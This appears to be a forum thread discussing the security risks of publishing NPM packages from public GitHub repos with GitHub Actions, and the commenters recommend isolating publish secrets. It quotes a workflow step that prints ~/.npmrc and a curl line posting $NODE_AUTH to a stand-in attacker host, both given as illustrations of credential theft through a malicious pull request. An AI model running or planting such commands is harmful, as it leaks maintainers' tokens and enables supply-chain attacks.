Publish NPM Package with GitHub Actions(juffalow.com) |
Publish NPM Package with GitHub Actions(juffalow.com) |
- name: Give me this person's NPM token
run: cat ~/.npmrc
Even if you have it locked down so they can't see the build output, they could just add a curl command to post the contents of your .npmrc file to their server.A number of open source projects have been hacked this way in the past. This is why I keep my NPM publish entirely isolated from the Github repo. I review every PR that is submitted to me carefully, but don't want any chance of accidentally merging in a malicious PR that will compromise my NPM packages.
https://help.github.com/en/actions/automating-your-workflow-...
There are so many vectors of vulnerability: from modifying NPM package.json scripts, to modifying makefiles, to modifying the build scripts, etc that I find the only true solution is to have one public repo that accepts PR's from the public and only does checks like linting and running the tests, but does not have any access to secrets for publish. Ideally the public repo also does not contain your actual publish scripts either, only you as the package owner have access to them, as they are stored in your own private repo.
Then have another private repo that you sync into or an external, fully private build system that keeps the secrets, and does the real NPM publish. I think it is just far too dangerous to do the NPM publish from the public facing repo. I assume the author is well aware of this too, but just wanted to include a warning in case anyone else hasn't run into this or thought of it yet.
https://gist.github.com/tracker1/fdd5ceab8f532afc3a05ab9c0bd...
curl -d secret=$NODE_AUTH https://attackershost.example/capture_secret
Though, one should be very leery of anything that touches certain paths... for the most part, I tent to use scripts/npm/ for anything run from package.json and would also watch out for any changes in .github/
It depends on a bit of due diligence. It's not any different than other CI/CD platforms in any meaningful way.
Another pleasant side effect is that 2FA prevents accidental publishes too.
It probably not the cleanest way to do it, but I liked having it "spelled out" in steps manually to play around and learn more about how to do this.
You can see my workflow in the toy repo here: https://github.com/ikornaselur/img-utils/blob/master/.github...
(I did post this link in direct thread, copied here)
https://gist.github.com/tracker1/fdd5ceab8f532afc3a05ab9c0bd...
I also do a MyPy type check as well with the actions stuff. It's very similar to the GitLab CI stuff, if you have used that.